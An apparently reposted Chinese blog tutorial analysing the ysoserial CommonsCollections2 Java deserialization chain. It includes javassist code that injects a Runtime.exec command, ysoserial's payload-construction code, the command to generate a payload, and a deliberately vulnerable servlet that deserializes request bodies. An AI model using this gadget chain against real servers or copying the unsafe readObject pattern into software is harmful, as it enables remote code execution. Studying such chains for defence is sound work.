【yso】- CC2反序列化分析

admin 2022年4月25日02:10:08评论42 views字数 10125阅读33分45秒阅读模式

【yso】- CC2反序列化分析

前言

学习CommonsCollections2这条java反序列化链。

基础知识

1. javassist 字节码增强类库

JAVAssist(JAVA Programming ASSISTant)是一个开源的分析,编辑,创建 Java字节码( Class )的类库。该类库位于 JBOSS 应用服务器项目中,用于为 JBOSS 实现动态 "AOP"。

该类库的优点在于简单,快速,直接使用Java编码格式就能动态改变类的结构或动态生成类,而不需要了解 JVM 指令。

可以在maven仓库下载jar依赖:https://mvnrepository.com/artifact/org.javassist/javassist/3.27.0-GA

代码示例:

package com.example;

import javassist.*;

import java.io.IOException;

public class Javassist {
   public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, InstantiationException, IllegalAccessException {
       ClassPool classPool = ClassPool.getDefault();
       CtClass ctClass = classPool.get(Javassist.class.getName());
       String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
       // 设置静态代码块内容
       ctClass.makeClassInitializer().insertBefore(cmd);
       String randomClassName = "Epic" + System.nanoTime();
       ctClass.setName(randomClassName);
       // 写入文件
       ctClass.writeFile("src/");
//       ctClass.toClass().newInstance();
  }
}

运行,在src目录下生成class文件(字节码)。

【yso】- CC2反序列化分析

可以看到,这个新生成的类较我们编写的这个类,多了一段静态代码块,这段代码块正是我们插入的代码。

如果我们能够重新加载这个新生成的类,就可以执行指定的恶意代码。

  • ClassPool classPool = ClassPool.getDefault();

ClassPool.getDefault() 方法会查找系统默认路径(JVM类搜索路径)来搜索需要的类。因为如果想要修改一个类,就得拿到这个类,因此我们需要先指定系统的类搜索路径。

  • CtClass ctClass = classPool.get(Javassist.class.getName());

CtClass(compile-time class,编译时类信息)是一个 Class 文件在代码中的抽象表现形式,用于处理类文件。

可以通过 ClassPool.get() 方法来创建 CtClass 对象,将该对象放入 ClassPool 的 HashTable 中,并返回创建的 CtClass 对象。

有了 CtClass 实例对象后,我们就可以处理类文件,编辑或者修改类了。这里我们获取的是自己编写的 Javassist.Class 的实例对象,因此我们可以修改 Javassist 类。

  • String cmd = "java.lang.Runtime.getRuntime().exec("calc");";

我们想插入的代码,需要严格按照Java语法来,包括最后的分号也不能少。

  • ctClass.makeClassInitializer().insertBefore(cmd);

先通过 CtClass.makeClassInitializer() 方法在当前类(Javassist)中创建了一个静态代码块。再调用insertBefore()方法在静态代码块的开头插入源代码。

  • ctClass.setName(randomClassName);

为这个我们编辑的类设置类名,这里 setName() 方法的参数是一个全限定名称,因此我们可以设置 a.b 这样的类名,代表是a包下的b.class

  • ctClass.writeFile("src/");

将编辑好的类写入文件。

也可以通过 CtClass.toClass() 方法拿到生成的类,再通过 newInstance() 方法获取实例对象。

在类实例化前,JVM会加载该类,static{} 代码块的内容会在类加载时被执行,调用 java.lang.Runtime.getRuntime().exec() 方法执行系统命令,弹出计算器。

2. PriorityQueue 优先级队列

PriorityQueue 优先级队列是基于优先级堆的一种特殊队列。在我们熟知的队列基础上添加比较器(Comparator)功能,每次插入或者删除元素时,会按照比较器设定的规则进行元素排序等操作。

例子:

(1)不定义比较器,使用默认比较器

package com.example;

import java.util.PriorityQueue;

public class Myqueue {
   public static void main(String[] args) {
       int[] list = {5, 7, 3, 6, 2, 8, 1};
       PriorityQueue<Integer> queue = new PriorityQueue<Integer>();
       // 输出原始队列
       for (int i : list) {
           System.out.print(i + " ");
      }
       System.out.println();
       // 逐个插入优先级队列
       for (int i : list) {
           queue.add(i);
      }
       // 逐个输出优先级队列
       while (!queue.isEmpty()) {
           int i = queue.remove();
           System.out.print(i + " ");
      }
  }
}

运行结果:

【yso】- CC2反序列化分析

可以看出,使用默认的比较器,每次弹出的元素是队列中最小的。

定义一个比较器:

package com.example;

import java.util.Comparator;
import java.util.PriorityQueue;

public class Myqueue {
   public static void main(String[] args) {
       int[] list = {5, 7, 3, 6, 2, 8, 1};
//       PriorityQueue<Integer> queue = new PriorityQueue<Integer>();
       PriorityQueue<Integer> queue = new PriorityQueue<Integer>(new Comparator<Integer>() {
           @Override
           public int compare(Integer o1, Integer o2) {
               return o2 - o1;
          }
      });
       // 输出原始队列
       for (int i : list) {
           System.out.print(i + " ");
      }
       System.out.println();
       // 逐个插入优先级队列
       for (int i : list) {
           queue.add(i);
      }
       // 逐个输出优先级队列
       while (!queue.isEmpty()) {
           int i = queue.remove();
           System.out.print(i + " ");
      }
  }
}

该比较器允许后者操作(插入或删除)的元素比前者大,所以大的元素先输出。

5 7 3 6 2 8 1 
8 7 6 5 3 2 1

ysoserial 中的CC2 payload 构造

先看下yso中cc2这条链的payload是怎么构造的,后续我们再分析反序列化的过程。

yso中的主要代码:

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}

首先通过Gadgets.createTemplatesImpl(command)方法获得一个TemplatesImpl对象实例。

获取系统属性 properXalan 的值。判断是否有这个系统变量的值。

【yso】- CC2反序列化分析

里找不到这个系统属性。两个return传入的参数一样,达到相同的效果。

传入createTemplatesImpl方法的参数如下:

【yso】- CC2反序列化分析

createTemplatesImpl

// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();

// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();

// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));

// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
   command.replace("\", "\\").replace(""", "\"") +
   "");";
clazz.makeClassInitializer().insertAfter(cmd);

// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());

// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

到此,一个新建类(StubTransletPayload)已经创建并修改完成。

// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();

// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
   classBytes, ClassFiles.classAsBytes(Foo.class)
});

【yso】- CC2反序列化分析

// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

至此,我们得到了携带恶意类字节码的 TemplatesImpl实例对象,变量定义为templates

new InvokerTransformer("toString", new Class[0], new Object[0]);

接着获取 InvokerTransformer 实例对象。从cc1链我们知道这个这个类的作用,到后面我们会讲解:

【yso】- CC2反序列化分析

这里iMethodName属性的值是toString,后面会修改成想要的,这里只是暂时占位。

new PriorityQueue<Object>(2,new TransformingComparator(transformer));

创建了一个优先级队列,指定了队列的初始容量为2与比较器(comparator),然后填充了两个 "1" 初始化。

优先级队列在插入和删除元素的时候,会进行比较,即调用比较器类的TransformingComparator.compare()方法:

【yso】- CC2反序列化分析

可以看到,compare方法中会调用TransformingComparator类的transformer属性的transform方法,查看构造函数看看这个transformer属性:

【yso】- CC2反序列化分析

不出所料,刚刚我们通过new InvokerTransformer("toString", new Class[0], new Object[0]);定义的transformer实例对象传入TransformingComparator比较器类的构造方法,赋值给this.transformer属性。

完整流程

优先级队列每次比较时都会调用比较器的 compare() 方法,就会调用 TransformingComparator.compare() 方法。进而调用 this.transformer.transform(obj1) 方法,即执行:InvokerTransformer.transform() 方法,进入可控的反射调用。

后面就是对通过反射方法对前面的变量进行动态修改。

Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

Reflections.setFieldValue是ysoserial项目封装的通过反射修改变量的方法。

transformer实例对象的iMethodName设置为newTransformer。

【yso】- CC2反序列化分析

final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

获取优先级队列的实例对象(实际就是PriorityQueue类的queue属性),并修改其字段值。将我们通过 JAVAssist 构造的恶意类注入其中:

【yso】- CC2反序列化分析

这样修改后,优先级队列调用比较器的 compare() 方法时会去比较 "templates" 和 "1" 的值,即调用执行 InvokerTransformer.transform(templates) 方法。

templates 实例对象是 TemplatesImpl 类型的,所以可控反射调用链实际上会执行 TemplatesImpl.newTransformer() 方法:

【yso】- CC2反序列化分析

最后返回queue这个PriorityQueue这个优先级队列类,进行序列化。

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc2")
public class CCServlet extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections4 4.0依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

使用yso生成calc命令的payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" > 117.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC2反序列化分析


2. 反序列化链分析

通过 ysoserial 生成的payload 可以知道 CommonsCollections2 Payload 返回的是一个优先级队列( PriorityQueue )对象。

因此我们直接定位到 PriorityQueue.readObject() 方法。

java.util.PriorityQueue.readObject()

【yso】- CC2反序列化分析

传入的参数s是ObjectInputStream类型,就是我们请求体发送过去的反序列化数据。

调用默认的 ObjectInputStream.defaultReadObject() 方法 , 反序列化数据流。

这里从这些反序列化数据读取相关值,还原PriorityQueue这个对象。

调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。这里读取了并没有赋值,在下面一行代码才获取到队列的大小并赋值给PriorityQueue对象的size属性。

接下来循环读取内容并赋值给queue数组:

【yso】- CC2反序列化分析

现在已经获取到一个无序队列了,这是一个优先级队列,所以调用PriorityQueue.heapify()方法将无序队列按照比较器规则还原成二叉堆。

java.util.PriorityQueue.heapify()

PriorityQueue.heapify() 方法用于构造二叉堆

【yso】- CC2反序列化分析

java.util.PriorityQueue.siftDown()

【yso】- CC2反序列化分析

PriorityQueue.siftDown() 方法会根据是否有自定义比较器来调用不同的方法。

comparator 值为 TransformingComparator;参数x的值为 queue[0] , 即我们写入的恶意类。

java.util.PriorityQueue.siftDownUsingComparator()

【yso】- CC2反序列化分析

最终会调用comparator.compare()方法,即 TransformingComparator.compare() 方法,传入的第一个参数为队列数组第一个元素为恶意类,第二个参数为队列数组第二个元素。

org.apache.commons.collections4.comparators.TransformingComparator.compare()

【yso】- CC2反序列化分析

在构造 payload 时,我们已经把 this.transformer 指向 InvokerTransformer 实例对象,obj1 的值为 TemplatesImpl 实例对象。因此,这里实际会调用 InvokerTransformer.transform(TemplatesImpl)

org.apache.commons.collections4.functors.InvokerTransformer.transform()

【yso】- CC2反序列化分析

this.iMethodName的值为newTransformer

这里使用反射方法,调用TemplatesImpl.newTransformer()方法。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()

【yso】- CC2反序列化分析

TemplatesImpl.newTransformer() 方法主要用于获取 TransformerImpl 实例对象。

会调用 TemplatesImpl.getTransletInstance() 方法。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance()

【yso】- CC2反序列化分析

_name参数不空,_class参数为空,会调用defineTransletClasses()方法进行一些赋值操作,该方法调用完后,相关变量的值为:

【yso】- CC2反序列化分析

_class[_transletIndex]就是我们通过 JAVAssist 构造的恶意类。

会对恶意类调用 newInstance() 方法,类会先被加载后再被实例化。

类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()执行我们的命令。

总结

cc2这条链的核心就是javassistPriorityQueue,整个利用链也没有很复杂。

参考链接

https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e8-%e8%a7%a3%e5%af%86-ysoserial-commonscollections2-pop-chains/

https://www.136.la/nginx/show-146317.html


原文始发于微信公众号(信安文摘):【yso】- CC2反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月25日02:10:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC2反序列化分析https://cn-sec.com/archives/939119.html

发表评论

匿名网友 填写信息